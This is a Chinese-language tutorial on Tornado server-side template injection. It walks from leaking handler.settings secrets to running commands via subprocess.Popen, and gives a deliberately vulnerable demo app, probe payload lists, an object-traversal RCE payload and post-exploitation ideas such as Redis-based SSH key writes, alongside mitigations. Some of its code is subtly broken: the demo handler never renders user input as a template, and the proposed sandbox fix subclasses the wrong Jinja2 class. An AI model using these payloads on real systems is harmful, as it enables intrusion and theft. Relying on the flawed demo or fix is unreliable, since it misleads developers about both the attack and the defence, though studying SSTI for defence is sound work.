Tornado SSTI漏洞实战:从handler.settings泄露到RCE的攻防剖析

1. 项目概述:从一次内部渗透测试说起

前段时间,我在对一个内部系统进行安全评估时,遇到了一个典型的Tornado Web应用。目标系统看起来功能正常,但一个不经意的参数传递引起了我的注意。在排查一个疑似XSS的点时,我尝试了各种Payload,效果都不理想。然而,当我将测试焦点从用户输入转向应用自身的配置信息时,事情出现了转机。我构造了一个特殊的请求,试图访问应用的一个错误处理页面,并在URL参数中尝试了{{这样的符号。起初页面只是返回了模板渲染错误,但当我深入挖掘错误信息中暴露的上下文变量时,一个名为handler.settings的字典赫然在列。点开一看,里面竟然包含了数据库连接字符串、第三方服务的API密钥,甚至还有用于签名JWT令牌的密钥。那一刻我就知道,我碰到了一个经典的服务器端模板注入漏洞,而handler.settings正是泄露敏感信息的“黄金钥匙”。

这个漏洞的本质,是攻击者能够将恶意代码注入到Web应用使用的模板引擎中,并使其在服务器端执行。对于Tornado这类使用Jinja2或类似引擎的应用来说,如果开发人员未对用户输入进行严格的过滤和转义,或者错误地将用户可控的数据传递给了模板渲染函数,攻击者就能突破模板的沙箱限制,执行任意代码、读取或修改服务器上的文件,而handler.settings作为Tornado请求处理器的一个内置属性,存储了应用的全局配置,一旦被模板引擎解析并输出,就相当于把家底都亮给了攻击者。今天,我就结合这次实战经历,为你详细拆解Tornado模板注入漏洞的原理、利用手法,特别是如何通过handler.settings泄露敏感信息,并给出从开发和安全测试双视角的修复与防御建议。无论你是开发者想避免踩坑,还是安全研究者想复现和挖掘此类漏洞,这篇文章都能给你提供清晰的路径。

2. 漏洞原理深度剖析:模板引擎的双刃剑

2.1 Tornado模板引擎的工作机制

要理解漏洞,首先得明白Tornado是如何渲染一个页面的。Tornado本身内置了一个简单的模板系统,同时也兼容Jinja2、Mako等主流模板引擎。其核心流程可以概括为:接收请求 -> 处理器处理业务逻辑 -> 准备渲染上下文数据 -> 调用模板引擎渲染 -> 返回HTML给客户端。

在处理器中,我们通常会这样写:

class MainHandler(tornado.web.RequestHandler): def get(self): name = self.get_argument('name', 'World') # 将变量传递给模板 self.render('template.html', name=name)

这里的self.render()方法,会加载template.html文件,并将一个包含name变量的上下文字典传递给模板引擎。模板文件里可能是<h1>Hello, {{ name }}!</h1>。引擎的工作就是把{{ name }}替换成变量name的值“World”或者用户传入的值。

问题的关键就在于这个“上下文数据”的传递和模板表达式的解析能力。模板引擎为了提供灵活性,支持表达式、过滤器甚至控制语句。例如Jinja2支持{{ config.items() }}来遍历字典。如果开发者错误地将一个包含敏感数据或危险方法的对象(如handler自身、self.settings)传递给了模板,或者用户输入直接被当成了模板语法的一部分进行解析,漏洞就产生了。

2.2 模板注入漏洞的两种常见成因

根据我的经验,导致Tornado应用出现SSTI漏洞的场景主要有两类,它们的危险程度和利用方式有所不同。

第一类:用户输入直接拼接进模板字符串。这是最危险也最典型的情况。例如,开发者在构建动态模板内容时,直接使用了字符串格式化或拼接:

# 危险示例:直接拼接 template_content = "<h1>Welcome, " + user_input + "</h1>" self.write(template_content) # 或者使用字符串格式化 template_content = "<h1>Welcome, %s</h1>" % user_input self.write(template_content)

如果user_input是用户可控的,并且包含了{{ 7*7 }},那么模板引擎在后续的渲染过程中(如果应用其他地方开启了自动转义但这里漏了,或者根本没开启),就会计算这个表达式并输出49。更可怕的是,攻击者可以注入诸如{{ ''.__class__.__mro__[1].__subclasses__() }}这样的Payload,来遍历Python的所有子类,寻找可以用于执行命令或读取文件的类。

第二类:不当的上下文变量传递。这种情况更为隐蔽,也是本文重点讨论的通过handler.settings泄露信息的典型场景。开发者可能无意中将整个handler对象或者self.settings字典作为上下文变量传递给了模板。

# 危险示例:传递了整个handler或settings def get(self): # 错误地将handler自身传递给模板 self.render('debug.html', context=self) # 或者直接传递了settings self.render('config.html', config=self.settings)

在模板文件debug.html中,如果攻击者能够控制模板的某部分内容(比如通过URL参数影响模板包含的另一个模板),或者模板本身就是为了调试而输出了所有上下文变量,那么攻击者就可以通过模板语法访问context.settings或直接访问config来获取全部配置信息。

注意:即使你没有主动传递handlersettings,在某些错误处理或调试模式下,Tornado框架自身也可能将包含这些信息的上下文暴露给错误页面模板,这也是一个需要警惕的风险点。

2.3 为什么handler.settings是敏感信息宝库?

handler.settings实际上是TornadoApplication初始化时传入的配置字典的一个引用。它通常包含了应用运行所需的所有核心配置。在一次真实的渗透测试中,我通过利用SSTI读取到的handler.settings里发现了以下信息:

  • 数据库凭证mysql://user:password@host:port/dbname格式的连接字符串。
  • 缓存配置:Redis的地址、端口和密码。
  • 第三方API密钥:用于调用短信服务、邮件服务、支付接口等的密钥和Secret。
  • 会话与加密密钥cookie_secretxsrf_cookie_secret,这些密钥一旦泄露,攻击者可以伪造任意用户的会话或绕过CSRF防护。
  • 调试信息debug=True的设置,这会使得更多的错误信息暴露给用户,可能包含代码片段。
  • 文件路径:静态文件路径、上传文件路径等,可能为后续的目录遍历或文件上传漏洞利用提供信息。

这些信息如果落到攻击者手里,意味着整个应用的数据层、业务层乃至服务器本身都可能失守。攻击者可以直接连接数据库进行拖库,利用API密钥进行恶意消费或发送垃圾信息,甚至结合其他漏洞实现远程代码执行。

3. 漏洞复现与利用实战

理解了原理,我们动手搭建一个存在漏洞的简易环境来复现。这里我使用Docker快速构建,方便大家安全地测试和学习。

3.1 搭建漏洞演示环境

首先,创建一个项目目录,并编写存在漏洞的Tornado应用代码vuln_app.py

#!/usr/bin/env python3 # vuln_app.py - 存在SSTI漏洞的演示应用 import tornado.ioloop import tornado.web import os class MainHandler(tornado.web.RequestHandler): def get(self): # 模拟一个常见的错误:将用户输入直接用于模板渲染(这里模拟一个“欢迎信息”模板片段) user_input = self.get_argument('greeting', 'Hello') # 危险操作:将用户输入直接拼接到模板字符串中,并且没有正确转义 # 注意:在实际漏洞中,可能是通过include、宏或者动态模板加载等方式引入用户输入 template_content = f""" <html> <body> <h1>{{{{ '{user_input}' }}}}</h1> <p>This is a vulnerable page.</p> </body> </html> """ # 为了演示settings泄露,我们故意在另一个“调试”端点传递handler.settings # 但在实际漏洞中,settings可能通过错误上下文、全局变量等方式暴露 self.write(template_content) class DebugHandler(tornado.web.RequestHandler): def get(self): # 典型的错误:将handler.settings传递给调试模板 # 假设这个端点只在开发环境开启,但配置错误导致生产环境也可访问 self.render('debug_info.html', settings=self.settings, handler=self) class ConfigHandler(tornado.web.RequestHandler): def get(self): # 另一种常见错误:直接输出配置信息,未做任何访问控制 self.write(str(self.settings)) def make_app(): # 应用配置,其中包含敏感信息 settings = { "template_path": os.path.join(os.path.dirname(__file__), "templates"), "debug": True, # 生产环境绝对不要开启! "cookie_secret": "SUPER_SECRET_COOKIE_KEY_1234567890", "database_url": "mysql://admin:MySuperSecretPass@localhost:3306/prod_db", "redis_url": "redis://:RedisPass123@redis-host:6379/0", "api_key": "AKIAIOSFODNN7EXAMPLE", "api_secret": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY", } return tornado.web.Application([ (r"/", MainHandler), (r"/debug", DebugHandler), # 危险的调试端点 (r"/config", ConfigHandler), # 直接查看配置的端点(极危险) ], **settings) if __name__ == "__main__": app = make_app() app.listen(8888) print("[*] Vulnerable Tornado app running on http://0.0.0.0:8888") tornado.ioloop.IOLoop.current().start()

同时,创建模板目录templates和文件debug_info.html

<!-- templates/debug_info.html --> <!DOCTYPE html> <html> <head> <title>Debug Information</title> </head> <body> <h2>Application Settings (DANGER!)</h2> <pre>{{ settings }}</pre> <hr> <h2>Handler Object Attributes (Even more DANGER!)</h2> <p>尝试访问:{{ handler.settings['database_url'] }}</p> </body> </html>

接着,编写一个Dockerfile来容器化应用:

FROM python:3.9-slim WORKDIR /app COPY requirements.txt . RUN pip install --no-cache-dir -r requirements.txt COPY . . CMD ["python", "vuln_app.py"]

以及requirements.txt

tornado==6.1

最后,使用docker-compose.yml来管理:

version: '3' services: vuln-app: build: . ports: - "8888:8888" volumes: - ./templates:/app/templates - ./vuln_app.py:/app/vuln_app.py

在项目根目录下执行docker-compose up --build,漏洞环境就在本地的8888端口运行起来了。

3.2 手工探测与验证SSTI

环境启动后,我们开始探测。首先访问根路径http://localhost:8888/,它是一个存在SSTI漏洞的端点。

第一步:基础探测。我们尝试传入一个简单的数学表达式Payload:http://localhost:8888/?greeting={{7*7}}如果页面返回的<h1>标签内显示的是49而不是{{7*7}},那么基本可以确定存在服务器端模板注入。因为模板引擎执行了7*7的计算。

第二步:确认模板引擎类型。不同模板引擎的Payload语法略有不同。Tornado内置模板和Jinja2是常见的。我们可以通过一些特征Payload来探测:

  • {{7*'7'}}:在Jinja2中会返回7777777(字符串重复),在Tornado内置模板中可能报错或原样输出。
  • {{'7'*7}}:同样是字符串重复。 访问http://localhost:8888/?greeting={{7*'7'}},观察结果。根据返回结果,我们可以调整后续的利用Payload。假设我们确认是Jinja2引擎。

第三步:探索对象模型,寻找可利用的类。这是利用SSTI执行命令或读取文件的关键。Jinja2在沙箱环境下,但通过Python的对象继承链(__class__,__mro__,__subclasses__)可以逃逸。我们注入一个Payload来列出所有可用的子类:http://localhost:8888/?greeting={{ ''.__class__.__mro__[1].__subclasses__() }}这个Payload做了以下几件事:

  1. ''是一个字符串对象。
  2. .__class__获取它的类(<class 'str'>)。
  3. .__mro__(方法解析顺序)返回一个元组,[1]通常是<class 'object'>,所有类的基类。
  4. .__subclasses__()返回object的所有直接子类列表。 如果成功,页面会输出一个很长的列表,包含像<class 'os._wrap_close'>,<class 'subprocess.Popen'>这样的类。我们需要从中找到可以用于执行命令的类,比如subprocess.Popen

实操心得:在实际测试中,页面可能因为输出过长而截断或渲染失败。可以尝试将结果写入一个文件,或者使用更精确的索引来定位目标类。例如,可以写一个简单的Python脚本先本地计算出subprocess.Popen在列表中的索引。

3.3 利用漏洞读取handler.settings

现在,我们来看如何读取handler.settings。根据我们的漏洞代码,有两个直接的入口:

入口一:直接访问调试端点。访问http://localhost:8888/debug。如果这个端点没有做访问控制(比如判断IP来源、环境变量等),那么它会直接渲染debug_info.html模板,并将settingshandler对象传递进去。在页面中,你会直接看到完整的settings字典以<pre>标签形式输出,所有敏感信息一览无余。

入口二:通过SSTI在存在漏洞的端点间接读取。假设/debug端点被禁用了,但根路径/的SSTI漏洞依然存在。我们的目标是利用这个SSTI,构造Payload来访问当前请求处理器(handler)的settings属性。但是,在/这个请求上下文中,我们如何获取到handler对象呢?

这取决于模板的上下文。在Tornado中,默认的模板上下文会包含一些内置变量和传递进去的变量。一个常用的技巧是尝试访问requesthandler或者self。在Jinja2中,可以通过遍历上下文来寻找。一个相对通用的方法是利用Python的__builtins____globals__来寻找当前上下文中的对象。

我们可以尝试一个探测Payload:http://localhost:8888/?greeting={{ self }}如果返回了类似<tornado.web.RequestHandler object at 0x7f8b1c0b5d90>的信息,那么恭喜,self就是当前的RequestHandler对象。接下来就可以直接读取settings:http://localhost:8888/?greeting={{ self.settings }}或者更精确地获取某个键值:http://localhost:8888/?greeting={{ self.settings['database_url'] }}

如果self不行,可以尝试handlerrequest,或者使用{{ ()|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(N) }}这样的链式调用,其中N是某个包含有用方法的类的索引,通过其__globals____init__.__globals__来获取sys.modules,进而导入tornado.web模块,最终获取到当前请求的上下文信息。这个过程较为复杂,需要一定的耐心和技巧。

入口三:直接访问配置泄露端点。在我们的演示代码中,还有一个极度危险的/config端点,它直接writeself.settings的字符串形式。访问http://localhost:8888/config,所有配置明文返回,这是最低级的错误,但在一些临时添加的“管理接口”或“健康检查”接口中仍有可能出现。

3.4 进阶利用:从信息泄露到代码执行

获取到handler.settings中的敏感信息已经是重大安全事件,但攻击者的脚步通常不会停止。结合获取到的信息,攻击可以进一步升级:

  1. 数据库接管:直接使用泄露的数据库连接字符串,用mysql客户端连接,进行数据窃取、篡改甚至删除。
  2. 缓存入侵:利用Redis密码连接Redis服务,可能清空缓存、写入恶意数据,或利用Redis未授权访问漏洞向服务器写入SSH公钥等。
  3. 横向移动:泄露的API密钥可能用于攻击其他关联系统。
  4. 会话伪造:利用cookie_secret,可以伪造任意用户的会话Cookie,直接以其他用户身份登录系统。
  5. 结合SSTI实现RCE:如果我们通过SSTI找到了subprocess.Popen类(索引假设为N),就可以构造命令执行Payload:http://localhost:8888/?greeting={{ ''.__class__.__mro__[1].__subclasses__()[N](['whoami'], stdout=-1).communicate()[0] }}这会在服务器上执行whoami命令并返回结果。通过这种方式,攻击者可以在服务器上建立持久化后门,进行内网渗透等更危险的操作。

注意事项:在真实渗透测试或SRC漏洞挖掘中,执行系统命令是高风险操作,必须获得明确授权。在未授权的情况下,读取配置信息已经足以证明漏洞的危害性,应立即上报。

4. 漏洞挖掘与自动化检测思路

对于安全研究人员来说,如何高效地发现这类漏洞呢?纯靠手工测试效率太低。下面分享我常用的几种挖掘和检测思路。

4.1 黑盒扫描与模糊测试

黑盒测试下,我们不知道后端代码,只能通过输入输出进行推断。可以借助一些工具和Payload字典。

工具推荐:

  • Burp Suite + Active Scan / Intruder:Burp的主动扫描规则库包含一些基础的SSTI检测规则。但更有效的是使用Intruder,加载自定义的SSTI Payload字典,对所有参数进行Fuzz。
  • sqlmap的--tamper脚本:sqlmap虽然主要针对SQL注入,但其强大的引擎和tamper脚本机制可以用于测试SSTI。可以编写或寻找将SSTI Payload嵌入到参数中的tamper脚本。
  • tplmap:这是一个专门检测和利用SSTI漏洞的工具,支持多种模板引擎(Jinja2, Tornado, Mako等)。它可以自动识别引擎类型并尝试利用。命令类似:python tplmap.py -u 'http://target/page?name=*'
  • 自定义Python脚本:针对特定目标,编写脚本批量测试参数,并智能判断响应中是否存在表达式执行成功的特征(如497777777等)。

有效的Payload字典:一个基本的SSTI探测字典应该包含不同模板引擎的语法:

{{7*7}} {{7*'7'}} {{'7'*7}} <%= 7*7 %> ${7*7} ${{7*7}} #{7*7}

对于Tornado/Jinja2,还需要包含一些探测上下文对象的Payload:

{{self}} {{handler}} {{request}} {{settings}} {{config}} {{application}} {{''.__class__}} {{().__class__}} {{[].__class__}}

在发送这些Payload时,要密切观察响应内容的变化:是否出现了计算结果?是否出现了对象的内存地址表示?是否出现了错误信息,而错误信息中包含了handlersettings等关键词?

4.2 白盒代码审计关键点

如果你有权限查看源代码,那么审计效率会高很多。重点关注以下代码模式:

  1. 搜索renderrender_string方法调用:检查传递给这些方法的第二个参数(即上下文变量)。看看是否有将用户输入、请求对象、selfself.settingsself.application.settings等直接或间接传递给模板的情况。

    # 审计时搜索以下模式 self.render(template, user_input=user_input) # 要看user_input是否过滤 self.render(template, context=locals()) # 极其危险!locals()包含所有局部变量 self.render(template, config=self.settings) # 直接传递配置 self.render(template, handler=self) # 传递handler自身
  2. 搜索模板文件中的危险表达式:在.html.j2等模板文件中,搜索{{}}之间的内容,看是否有直接调用方法、访问属性的操作,例如{{ config.items() }}{{ handler.request.uri }}。评估这些变量是否来自可信源。

  3. 检查模板继承和包含:注意{% include %}{% extends %}{% import %}语句。如果被包含或导入的模板文件名是用户可控的,也可能导致漏洞。

  4. 审查错误处理逻辑:查看自定义的write_error方法或默认错误页面。错误页面模板是否接收并渲染了异常信息?异常信息中是否可能包含敏感的上下文数据?

  5. 全局搜索self.settingsself.application.settings:除了在render调用中,还要看这些配置信息是否被记录到日志、写入到响应头、或通过其他API接口返回。

4.3 针对handler.settings泄露的专项检测

对于本文的核心漏洞点,可以设计专项测试用例:

  • 端点探测:使用目录扫描工具(如dirsearch, gobuster)或常见路径字典,扫描/debug/config/admin/config/settings/info/status等可能暴露配置信息的端点。
  • 参数污染:在所有的GET/POST参数、Cookie、Header中尝试插入SSTI Payload,观察是否在某些错误响应或页面渲染中触发了settings信息的泄露。
  • 错误触发:故意制造一些应用错误,如访问不存在的路由、提交畸形数据,观察返回的错误页面是否包含堆栈跟踪,堆栈跟踪中是否出现了handler.settings的内容。
  • 工具辅助:使用Burp的“查找注释和引用字符串”功能,或者自定义插件,在HTTP历史记录中搜索cookie_secretdatabaseredisapi_key等关键词,这可能会发现意外泄露的配置信息。

5. 修复方案与安全开发实践

漏洞复现和挖掘是为了更好地修复和防御。下面从开发者和架构师的角度,给出不同层次的修复建议。

5.1 紧急修复:代码层面立即行动

如果发现线上系统存在此类漏洞,应立即采取以下措施:

  1. 移除或保护调试端点:立即下线或严格限制访问(如通过IP白名单、强认证)任何直接输出handler.settingsself.application.settings或包含handler对象的调试接口。
  2. 严格过滤模板输入:对所有传递给模板渲染函数的用户输入进行严格的过滤和转义。Tornado默认使用tornado.escape.xhtml_escape进行转义,但仅对{{ ... }}内的变量有效。如果用户输入被用于构建模板字符串本身,则必须手动转义。最佳实践是:永远不要将用户输入直接拼接到模板字符串中。
  3. 最小化模板上下文:只传递模板渲染所必需的最小数据集合到上下文。使用明确的字典,而不是传递整个对象。
    # 正确做法:传递明确的值 self.render('user.html', username=username, email=email) # 错误做法:传递整个对象或locals() # self.render('user.html', context=self) # 危险! # self.render('user.html', **locals()) # 极其危险!
  4. 禁用危险的内置函数/属性访问:对于Jinja2,可以通过配置环境来限制。可以创建自定义的Jinja2环境,并覆写getattrgetitem来阻止对危险属性和方法的访问,但这可能会影响模板功能,需谨慎评估。
    from jinja2 import Environment, BaseLoader class SandboxedEnvironment(Environment): def is_safe_attribute(self, obj, attr, value): # 禁止访问以`_`开头的属性(通常是内部属性) if attr.startswith('_'): return False return super().is_safe_attribute(obj, attr, value)
  5. 升级和打补丁:确保使用的Tornado、Jinja2等库是最新版本,以修复已知的安全漏洞。

5.2 安全配置:加固Tornado应用环境

除了代码,运行环境配置也至关重要:

  1. 生产环境关闭Debug模式:这是铁律!debug=True会禁用模板缓存、输出详细的错误信息(可能包含代码和变量值),极大增加信息泄露风险。确保生产环境的Application初始化时debug=False
    settings = { "debug": False, # 生产环境必须为False # ... 其他配置 }
  2. 安全的Cookie Secret:使用足够长且随机的字符串作为cookie_secret,并定期更换。不要使用硬编码在代码中的简单字符串。
  3. 配置信息外部化:不要将数据库密码、API密钥等敏感信息直接写在代码里。使用环境变量、配置管理服务或加密的配置文件来管理。
    import os settings = { "database_url": os.environ.get('DATABASE_URL'), "api_key": os.environ.get('API_KEY'), # ... 从环境变量读取 }
  4. 自定义错误页面:重写RequestHandlerwrite_error方法,返回一个友好的、不包含任何内部错误信息的页面给用户,同时将详细的错误日志记录到服务器的安全日志中。
    def write_error(self, status_code, **kwargs): if self.settings.get("debug"): super().write_error(status_code, **kwargs) else: self.set_status(status_code) self.render("error.html", status_code=status_code)

5.3 架构与流程建议:防患于未然

从团队和流程上建立安全防线:

  1. 安全编码规范:将“禁止向模板传递不可信对象”、“禁止拼接用户输入到模板字符串”等内容写入团队编码规范,并通过Code Review强制执行。
  2. 依赖组件安全扫描:在CI/CD流水线中集成软件成分分析工具,定期扫描项目依赖(如Tornado、Jinja2)的已知漏洞。
  3. 定期安全审计与渗透测试:对线上系统定期进行专业的安全审计和渗透测试,主动发现包括SSTI在内的各类漏洞。
  4. 安全监控与告警:对应用日志进行监控,设置告警规则,例如发现大量包含{{}}__class__等关键词的请求时,及时发出安全告警。
  5. 开发者安全意识培训:让开发者理解SSTI的原理和危害,在开发过程中就能主动避免。

6. 常见问题与排查技巧实录

在实际的漏洞挖掘、修复和应急响应过程中,我遇到过不少典型问题,这里记录分享。

6.1 漏洞复现时Payload不生效?

可能原因及排查:

  1. 模板引擎类型判断错误:你用的Payload语法可能不匹配目标引擎。先用{{7*7}}{{7*'7'}}<%= 7*7 %>等不同语法的Payload进行测试,观察响应差异。查看HTTP响应头中的Server字段或错误信息,有时会泄露框架信息。
  2. 上下文变量名不对:你以为的selfhandler在模板中可能不可用。尝试使用{{ ''|attr('__class__') }}来探测基础对象,或者通过错误信息来推断可用的变量。有时框架会使用contextview等别名。
  3. WAF或输入过滤:应用前端可能有WAF,或者后端代码对输入进行了过滤(如删除{}_等字符)。尝试双写绕过({{{{)、编码绕过(URL编码、HTML实体编码)、使用不同大小写或特殊字符。
  4. 表达式被转义:Tornado默认开启了自动转义。如果用户输入是作为变量值传递给{{ }},会被转义。但如果输入是被拼接到模板语法中(比如控制模板文件名),则可能不会被转义。你需要仔细分析用户输入最终出现在模板的哪个位置。

6.2 拿到了settings但信息不全或加密了?

情况分析:

  1. 信息不全:开发者可能将敏感配置放在了另一个独立的配置对象或环境变量中,没有全部存入settings字典。你需要结合其他信息泄露点(如环境变量读取、配置文件读取)进行横向扩展。
  2. 配置值被加密:这是一种好的安全实践。敏感信息在代码或配置文件中以加密形式存储,运行时解密。此时直接读取settings得到的是密文。你需要进一步寻找解密密钥或算法。密钥可能硬编码在代码中、存放在另一个配置文件、或通过特定的密钥管理服务获取。审计代码中解密相关函数被调用的地方。

6.3 修复后如何验证有效性?

修复漏洞后,不能简单认为万事大吉,必须进行验证。

  1. 回归测试:重新运行之前成功的攻击Payload,确保它们不再生效。对于SSTI,应返回被转义的原字符串或安全的错误信息。对于配置泄露端点,应返回403、404或经过脱敏的信息。
  2. 代码扫描:使用静态代码分析工具对修复后的代码进行扫描,确保没有引入新的安全漏洞,并且相关的危险模式已被消除。
  3. 安全工具扫描:使用tplmap、Burp Suite等工具对修复后的接口再次进行扫描。
  4. 人工复审:重点审查修复代码的上下文,确保修复是彻底的。例如,不仅修复了A接口,所有类似模式的B、C接口也都得到了修复。

6.4 在SRC平台提交漏洞报告时要注意什么?

如果你在漏洞赏金平台或企业SRC发现了此类漏洞,一份高质量的报告能帮助你更快获得认可。

  1. 清晰描述漏洞:标题明确,如“Tornado应用XXX处存在服务器端模板注入漏洞,可导致handler.settings配置信息泄露”。
  2. 提供完整复现步骤:像本篇文章的“漏洞复现”部分一样,提供详细的URL、请求方法、Payload、每一步的截图和响应结果。最好能提供视频。
  3. 证明危害:不仅要证明可以执行{{7*7}},更要证明可以读取到真实的敏感信息(如数据库连接字符串、密钥)。注意:在证明时,应对敏感信息进行打码处理,只证明其存在性和可访问性,切勿泄露真实数据。
  4. 给出修复建议:简要说明修复方向,如“避免将用户输入拼接进模板”、“不要将handler.settings传递给模板”、“生产环境关闭debug模式”等,体现你的专业性。
  5. 遵守平台规则:绝不进行未授权的破坏性测试(如执行rm -rf命令),绝不窃取和传播敏感数据。